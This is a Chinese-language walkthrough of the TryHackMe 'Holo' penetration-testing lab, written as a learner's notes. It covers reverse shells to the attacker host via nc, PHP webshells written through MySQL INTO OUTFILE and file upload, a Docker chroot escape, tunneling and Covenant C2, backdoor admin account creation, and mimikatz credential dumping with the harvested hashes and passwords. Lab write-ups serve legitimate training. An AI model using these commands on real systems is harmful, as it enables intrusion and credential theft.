0%

THM打靶日寄17-Holo

  • Initial Recon

    扫一扫网段先

    扫出来 33250

    • 33

      但这里扫的不全,应该用全端口扫描 -p-

    • 250

  • L-SRV01

    • vhost 虚拟主机与子域名

      在一台服务器上运行多个网站,只需要一个额外的表头 Host 来告诉服务器流量应该发送给哪个 vhostwordpressSquarespace 等托管服务经常这么做

      也就是不同的域名会被解析到同一 ip

      在网站的源码里面找到一个域名 holo.live

      同时在 network 里面发现 holo.live 的资源没有加载

      所以选择让 holo.live 解析到 ip 上,在 /etc/hosts

      随后图片加载成功

      随后使用 wfuzz 来爆破子域名:

      1
      wfuzz -u www.holo.live -H "Host: FUZZ.holo.live" -w /root/subdomains-top1million-110000.txt --hw 1402

      这里 --hw 1402 是在过滤 words 数为 $1402$ 的情况,直接扫描可以发现,即使大部分子域名爆破结果是 $200$ 这种情况是网站指定了一个自定义的错误页面,返回码是 $200$ ,但实际上起到了一个 $404$ 页面的作用,称之为软 $404$。

      同理有:

      • —hc 隐藏状态代码
      • —hw 隐藏字数
      • —hl 隐藏行数
      • —hh 隐藏字符数

        那么这个软 $404$ 页面的特征就是 words 数为 $1402$ ,将其过滤,得到子域名爆破的结果

    • 子域名目录

      继续,我们扫描子域名目录,但首先需要把子域名也加入到 hosts 里面

      通常爆破目录我用的是 dirsearch ,这里正好学下别的

      1
      2
      gobuster dir -u [url] -w [wordlist] -t [线程数] -x [后缀]
      wfuzz -u [url] -w [wordlist]
      1
      gobuster dir -u http://dev.holo.live/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x .php,txt,zip,bak,rar,sql
      • dev

      • admin

    • 文件包含:

      devtalents.php 下,发现图片是从 img.php 请求得到的,此事在THM的问题中亦有记载

      那么不得不试试文件包含了,发现一点过滤都没有:

      直接读上面发现的管理员认证文件:

      admin:DBManagerLogin!

      同时还有一个更高权限用户的用户名 gurag

    • 命令执行

      拿获得的账密进后台 dashboard.php

      没什么能点进去的东西,看下源码

      发现有注释标着 cmd 的命令执行,试一下:

      直接反弹 shell

      不对,我用的attackbox怎么还连不上

      草,ip 填错了。。。

      要用 tun0 那个连

      然后反弹 shell 的命令很奇怪的不能用 bash ,要 nc 连回来:

      nc 10.50.104.23 443 -e /bin/sh

      这里顺手找到第一个 flag :

    • shell 升级:

      有很多种方案,一种是传马转 msf ,但我用多了,换一种:

      连上 shell 以后:

      1
      2
      3
      4
      python3 -c 'import pty;pty.spawn("/bin/bash");'
      export XTERM=term
      Ctrl + Z
      stty raw -echo; fg

    • docker 逃逸

      • docker 容器的特征:

        • ps aux

          相较于正常的环境来说进程太少了:

        • .dockerenv

          在根目录下能找到 .dockerenv ,该文件从主机操作系统提供环境变量。即使未提供任何环境变量,它也会存在于容器中

        • cgroups

          /proc/1 目录下: cat cgourp 能看到其路径包含 docker 字样:

      • 扫描

        在得知是 docker 容器后,需要继续来扫描内网和端口信息:

        虽然 THM 在这里介绍了 bashpy 脚本来扫,但是正常实战下还是传 fscan 或者 nmap 来扫比较多:

        注意靶机里面没有 wget ,用 curl -O 下载:

        扫描前先用 route -n 查看网关:

        得到网关 192.168.100.1 ,扫一下:

      • 检查数据库:

        根据扫描结果,网关开启了 3306 ,即 mysql

        而且注意反弹 shell 刚连进来的目录 /var/www/admin :这里有外部访问不到的 db_connect.php

        拿到数据库账密: admin:!123SecureAdminDashboard321!

        登录进去

        1
        mysql -u admin -p -h 192.168.100.1

        可以在 user 表里面看到另一个用户 gurag

      • 利用 mysql 命令执行来 docker 逃逸

        思路是由于当前管理员用户有写入权限,那么可以通过 select ... INTO OUTFILE 来往 192.168.100.1 目录内写文件

        又由于其开了 web 服务,那么可以往其网站上写马,再用 docker 内的 rce 通过 curl 触发反弹 shell

        1
        SELECT '<?php $cmd=$_GET["cmd"];system($cmd);?>' INTO OUTFILE '/var/www/html/shell.php';

        1
        curl 192.168.100.1:8080/shell.php?cmd=[反弹shell命令]

        令人感慨的是,这里又反弹不了,正好练一下开隧道吧:

      • 隧道设置

        这里根据这篇文章stowaway

        攻击机先下载 adminagent

        然后开 http.server ,用 L-SRV02:192.168.100.100 curl 下来,注意目录的权限问题

        1
        curl 10.50.104.23:8000/linux_x64_agent > linux_x64_agent

        然后在攻击机上 ./linux_x64_admin -l [port]

        L-SRV01./linux_x64_agent -c [attack_ip]:[port]

        use 0 切换到管理面板,然后

        socks [port]

        在本地的 port 端口开启 socks 代理

        这里有点看脸,理论上是可以转发成功的,如果不行就换个端口并加上用户名密码试试:

        然后用 foxyproxy 等代理插件配置一下:

        然后可以畅游 LSRV01 了,即 192.168.100.1:8080

        也可以连上刚刚用数据库传的马:

        同理,这个也可以用来作为跳板:从 LSRV02 上下载客户端:

        注意这里 pythonhttp 服务的时候加上 & 参数来后台运行

        然后用网页的 shell 下载:

        1
        http://192.168.100.1:8080/shell.php?cmd=curl http://192.168.100.100:8000/linux_x64_agent > linux_x64_agent

        然后通过服务端的 listen 命令在 LSRV02 上加一个监听,然后 LSRV01 那里先升级一下权限再连一下:

        然后 use 1 转到 LSRV01 ,再用 shell 命令

        这里理论上会有一个 user.txt ,但我这个房间里的被人删掉了,愤怒喵

        HOLO{3792d7d80c4dcabb8a533afddf06f666}

      • suid 提权

        注意到可以使用 docker 提权

        但注意当前靶机不存在 alpine 镜像,无法下载,所以指定一个靶机上存在的镜像,用 docker images 查看:即 Ubuntu:18:04

        1
        docker run -v /:/mnt --rm -it ubuntu:18.04 chroot /mnt sh

        /root 下找到 HOLO{e16581b01d445a05adb2e6d45eb373f7}

    • 可持久化建立

      为了方便横向,可以把靶机上面的 /etc/passwd/etc/shadow 下载到本地破解:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
              linux-admin:$6$Zs4KmlUsMiwVLy2y$V8S5G3q7tpBMZip8Iv/H6i5ctHVFf6.fS.HXBw9Kyv96Qbc2ZHzHlYHkaHm8A5toyMA3J53JU.dc6ZCjRxhjV1:18570:0:99999:7:::
      ````

      最后爆出来是 `linux-admin:linuxrulez`

      那么现在就可以使用 `ssh` 来直接登录了:

      ![](https://pic.imgdb.cn/item/6731f25ad29ded1a8c8103c2.png)


      - `Covenant` `C2` 服务器的使用

      - 安装

      git clone —recurse-submodules https://github.com/cobbr/Covenant

      dotnet run —project /opt/Covenant/Covenant

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      62
      63
      64
      65
      66
      67
      68
      69
      70
      71
      72
      73
      74
      75
      76
      77
      78
      79
      80
      81
      82
      83
      84
      85
      86
      87
      88
      89
      90
      91
      92
      93
      94
      95
      96
      97
      98
      99
      100
      101
      102
      103
      104
      105
      106
      107
      108
      109
      110
      111
      112
      113
      114
      115
      116
      117
      118
      119
      120
      121
      122
      123

      ![](https://pic.imgdb.cn/item/6735cebed29ded1a8c8d1f3a.png)

      ![](https://pic.imgdb.cn/item/6735cf20d29ded1a8c8d8f59.png)

      - 使用-`Listener`

      使用中主要有四个阶段:创建监听器,生成 `stager`(即 `payload`) ,部署 `grunt`(应该是反弹 `shell`) ,利用 `grunt`

      这些操作阶段都可以使用别的工具,但 `Covenant` 提供了一个集成化的平台,也可以更好的管理协作

      第一步是创建一个监听器,其有四个自带的配置文件:

      - `CustomHttpProfile` 不需要任何 cookie 的自定义配置文件。
      - `DefaultBridgeProfile` C2 桥的默认配置文件。
      - `DefaultHttpProfile` 默认 HTTP 配置文件。
      - `TCPBridgeProfile` C2 桥的默认 TCP 配置文件。

      在 `listener` 界面创建一个,其几个重要参数如下:

      - `Name` 监听器名称
      - `BindAddress` 监听器绑定的本地地址,一般选择0.0.0.0
      - `BindPort` 监听器绑定的本地端口
      - `ConnectPort` 反弹shell反弹到的端口
      - `ConnectAddress` 反弹到的地址,这里即是 `tun0` 的ip

      ![](https://pic.imgdb.cn/item/6735d750d29ded1a8c95d11e.png)

      下面这个是错误示范:

      ![](https://pic.imgdb.cn/item/6735d393d29ded1a8c921b4e.png)

      看状态栏是未初始化,原因在这里:

      ![](https://pic.imgdb.cn/item/6735d7b0d29ded1a8c963bf9.png)

      `bindport` 换一个就行

      - 使用-`launcher`

      可以创建一个启动器来快速部署 `grunts` ,有十种可供选择:

      - `Binary` 生成自定义二进制文件以启动 `grunt`,不依赖于系统二进制文件。
      - `Shellcode` 使用 `donut` 将二进制文件转换为 `shellcode`,https://github.com/TheWover/donut
      - `PowerShell` 生成 `PowerShell` 代码以使用 `powershell.exe` 启动 `grunt`。
      - `MSBuild` 使用 `msbuild.exe` 生成 `MSBuild XML` 文件以启动 `grunt`,https://lolbas-project.github.io/lolbas/Binaries/Msbuild/
      - `InstallUtil` 使用 `installutil.exe` 生成 `InstallUtil XML` 文件以启动 `grunt`,https://lolbas-project.github.io/lolbas/Binaries/Installutil/
      - `Mshta` 使用 `mshta.exe` 生成 `HTA` 文件以启动 `grunt`,https://lolbas-project.github.io/lolbas/Binaries/Mshta/
      - `Regsrv32` 使用 `regsrv32.exe` 生成 `SCT` 文件以启动 `grunt`,https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/
      - `Wmic` 使用 `wmic.exe` 生成 `XSL` 文件以启动 `grunt`, https://lolbas-project.github.io/lolbas/Binaries/Wmic/
      - `Cscript` 使用 `cscript.exe` 生成 `JScript` 文件以启动 `grunt`,https://lolbas-project.github.io/lolbas/Binaries/Cscript/
      - `Wscript` 使用 `wscript.exe` 生成 `JScript` 文件以启动 `grunt`,https://lolbas-project.github.io/lolbas/Binaries/Wscript/

      这里重点记录二进制启动的配置选项:

      - `Listener` 将与之通信的监听器。
      - `ImplantTemplate` 植入启动器将使用的类型。
      - `DotNetVersion` 启动器将使用的 .NET 版本,取决于 `ImplantTemplate`
      - `Delay` `grunt` 在回调之间休眠的时间。较大的延迟有助于隐秘通信。
      - `JitterPercent` `Delay` 中变化的百分比。
      - `ConnectAttempts` `grunt` 在退出前尝试重新连接服务器的次数。
      - `KillDate` 指定 `grunt` 退出并停止回调的日期。

      - `S-SRV01`

      拿到 `L-SRV01` 的 `root` 后拓扑图直接更新了,就不用再扫存活主机了:

      ![](https://pic.imgdb.cn/item/6731f3ddd29ded1a8c8259a8.png)

      - 扫描打点

      ![](https://pic.imgdb.cn/item/6731f988d29ded1a8c86e4ab.png)

      ![](https://pic.imgdb.cn/item/6731f9a0d29ded1a8c86fa78.png)

      然后继续用 `stoaway` 来开一个关于 `L-SRV01` 的代理来访问 `S-SRV01`

      ![](https://pic.imgdb.cn/item/6731fa21d29ded1a8c875fc6.png)

      这里本来想传一个 `dirsearch` 上去扫,但是:

      ![](https://pic.imgdb.cn/item/6731fd33d29ded1a8c89e435.png)

      那就直接看这个登陆界面好了,回顾了一下手里的信息,还有个高权限用户 `gurag` 还没用过,通过 `forgot password` 那页有用户名遍历,可以得出该用户确实存在:

      ![](https://pic.imgdb.cn/item/6731ffc0d29ded1a8c8bf73a.png)

      此时又注意到后面的空参数 `user_token` ,这个东西可以在网站返回包的 `set-cookie` 中找到:

      ![](https://pic.imgdb.cn/item/6732001bd29ded1a8c8c735d.png)

      那么填上去再次请求,发现直接跳转到 `reset.php`

      再次填入用户名:

      ![](https://pic.imgdb.cn/item/673200e5d29ded1a8c8d3b26.png)

      此时 `password` 参数可以自定义,设置为 `gurag:gurag` ,并拿到 `HOLO{bcfe3bcb8e6897018c63fbec660ff238}`

      - 跳板部署

      考虑到 `foxyproxy` 只能代理浏览器,功能很受限制,我们需要引入一个新工具 `proxychains4`

      其作用就是将所有 `tcp` 命令通过代理转发,即可以直接在本机上通过 `L-SRV01` 的代理扫描 `S-SRV01` ,而不需要把工具慢慢传到 `L-SRV01` 上

      直接 `apt-get install proxychains` 即可,配置文件在 `/etc/proxychains.conf`

      在最后面加上代理:

      ![](https://pic.imgdb.cn/item/6735ef49d29ded1a8caab146.png)

      随后在所有命令前面加上 `proxychains4` 即可通过该代理转发

      而值得注意的是,并不能使用 `ping` 来验证是否转发成功,因为 `ping` 是基于 `ICMP` ,而该工具仅转发 `TCP`

      - 文件上传 `RCE`

      登录进去发现文件上传:

      ![](https://pic.imgdb.cn/item/6732011ad29ded1a8c8d7093.png)

      用 `wfuzz` 枚举上传后文件存放的目录:

      proxychains4 wfuzz -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt —hc 404 http://10.200.108.31/FUZZ | tee srv_web_dict.txt

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17

      ![](https://pic.imgdb.cn/item/673206dad29ded1a8c922119.png)

      试了一下存到了 `images/` 下

      这里 `thm` 一直在说有白名单只让上传 `.jpg`,然后讲了下怎么删除 `js` 代码

      然后有一大章在讲AV规避,就突然开始做免杀了

      但我这里直接传上去了(

      普通的确实会被逮捕:

      ![](https://pic.imgdb.cn/item/67320843d29ded1a8c933d14.png)

      但是可以用一个很简洁的马绕过去:

      <?=$_GET[1]?>

      1
      2
      3
      4
      5
      6
      7
      8
      9

      ![](https://pic.imgdb.cn/item/67320870d29ded1a8c936131.png)

      在这里发现用 `ls` 会报错,`dir` 没有问题,那么 `S-SRV01` 就是 `Windows`

      既然已经 `rce` 了,那就还是让其连接到 `stoaway` 上:'

      直接用 `upload` 页面传会显示太大,想用 `powershell` 下下来,但是奇怪的失败了,最后用 `curl` 成功了

      curl -o “windows_x64_agent.exe” http://10.200.108.33:8000/windows_x64_agent.exe

      1
      2
      3
      4
      5

      但还是连不上

      稍微有点舍本逐末了,通过 `whoami` 可以看出是高权限用户,直接用 `rce` 新建管理员用户,注意执行成功会有回显,密码那里应该是有长度和符号的要求

      ?1=net user noone pass.2501! /add
      ?1=net localgroup administrators noone /add

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17

      `noone:pass.2501!`

      然后直接 `ssh` 就能连,但是要从 `S-SRV01` 跳过去

      ![](https://pic.imgdb.cn/item/6732137ed29ded1a8c9d9434.png)

      在 `Users/Administrator/Desktop` 找到 `root.txt`

      ![](https://pic.imgdb.cn/item/673213c0d29ded1a8c9dd35c.png)

      `HOLO{50f9614809096ffe2d246e9dd21a76e1}`

      - `mimikatz` 转储凭据

      传一下 `mimikatz.exe` 上去,

      mimikatz.exe “privilege::debug” “sekurlsa::logonpasswords full” exit > logonpasswords.txt

      1
      2
      3

      拿到这几个有价值一点的:

      watamet:d8d41e6cf762a8c77776a1843d4141c9:Nothingtoworry!
      S-SRV01$:3179c8ec65934b8d33ac9ec2a9d93400
      Administrator:4c529921152aab85192532e2c8771a92
      WDAGUtilityAccount:58f8e0214224aebc2c5f82fb7cb47ca1

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15

      即域用户 `watamet:Nothingtoworry!`

      - `PC-FILESRV01`

      - 扫描打点

      ![](https://pic.imgdb.cn/item/6732195ed29ded1a8ca2df75.png)

      - `rdp` 连接

      既然已经拿到域用户账密就直接试着登录了,正常来讲现在应该用拿到的所有账户用 `crackmapexec` 做密码喷洒,但懒狗了

      这里直接连了:

      proxychains4 xfreerdp /u:watamet /p:Nothingtoworry! /h:600 /v:10.200.108.35

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27

      桌面上找到 `flag`:

      ![](https://pic.imgdb.cn/item/6735efccd29ded1a8cab1967.png)

      - `applocker` 绕过

      用 `L-SRV01` 当服务器上传 `stoaway` ,这里 `curl` 下来执行,发现被拦截了:

      ![](https://pic.imgdb.cn/item/6735f520d29ded1a8cb00f32.png)

      这是由于服务器上设置的白名单应用程序控制,即 `Applocker` ,其标志就是 **此程序被组策略阻止**,详细情况不再赘述

      绕过 `Applocker` 通常要利用规则中的错误配置,即试着找到可用于执行程序的目录

      可以使用脚本: https://github.com/sparcflow/GibsonBird/blob/master/chapter4/applocker-bypas-checker.ps1

      传上来用 `powershell` 来运行:

      ![](https://pic.imgdb.cn/item/6735f8d0d29ded1a8cb357a9.png)

      - `Windows` 态势感知

      这里引入两个工具:

      - [`Seatbelt`](https://github.com/GhostPack/Seatbelt)

        Seatbelt.exe —group=system
        Seatbelt.exe all
        
      1
      2
      3

      其也支持远程使用:

      Seatbelt.exe -group=remote -computername=<address> -username=<DOMAIN\user> -password=<password>
      1
      2
      3

      - [`SharpEDRChecker`](https://github.com/PwnDexter/SharpEDRChecker)

      .\SharpEDRChecker.exe
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13

      具体不细写了,传上去的是[构建好的 `Seatbelt.exe`](https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/Seatbelt.exe)

      但令人感慨的是他编译的好像环境不一样,我执行不了啊嗯

      ~~懒狗了,假装这里有图.jpg~~

      - 更多的态势感知-`PowerView`

      继续引入新工具 [`PowerView`](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1)

      其用于在域上获取网络态势感知:

      Import-Module .\PowerView.ps1

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39

      随后可以运行其提供的所有命令

      ![](https://pic.imgdb.cn/item/67360139d29ded1a8cba3673.png)

      - `Get-NetLocalGroup`

      列出本地所有组

      - `Get-NetLocalGroupMember -Group <group>`

      列出指定组的所有成员

      ![](https://pic.imgdb.cn/item/673601e0d29ded1a8cbac096.png)

      - `Get-NetLoggedon`

      列举当前登录到本地机器的所有用户,其用于识别哪些用户不能接管,或者哪些用户应该在钓鱼等攻击中被作为目标

      ![](https://pic.imgdb.cn/item/6736035bd29ded1a8cbc4afe.png)

      - `Get-DomainGPO`

      列出安装的活动目录域 `GPO`

      - `Find-LocalAdminAccess`

      检查当前计算机所属域的所有主机,并检测当前用户是否为本地管理员,横向移动中很常用

      ![](https://pic.imgdb.cn/item/6736047fd29ded1a8cbd6321.png)

      - 更多的态势感知-`Powershell`

      处于各种情况,可能并不会有工具给我们用,所幸 `Powershell` 自带了一些命令,以下是其中一小部分:

      - `Get-ScheduledTask`

      列出所有计划任务,但有很多冗杂的默认启动任务,可以使用这个过滤:

        Get-ScheduledTask -TaskPath "\Users\*"
        
      1
      2
      3
      4
      5

      - `Get-ScheduledTaskInfo`

      指定任务的特定信息:

      Get-ScheduledTaskInfo -TaskName <Full Path>
      1
      2
      3
      4
      5
      6
      7
      8
      9

      - `whoami /priv`

      枚举当前用户的 `SE` 权限,帮助提权枚举

      - `Get-ADGroup`

      枚举域内用户组或所有组,但在这之前需要先导入 `AD` 模块:

      Import-Module ActiveDirectory; Get-ADGroup
      1
      2
      3

      随后会提示使用 `CLI` 过滤器,建议使用:

      samAccountName -like "*" ```
      • Get-ADGroupMember

        与上一个类似,其列出 AD 域成员,用于定位特定用户

      • Get-ADPrincipalGroupMembership

        检索用户/组

    • 提权

      破防了,不看了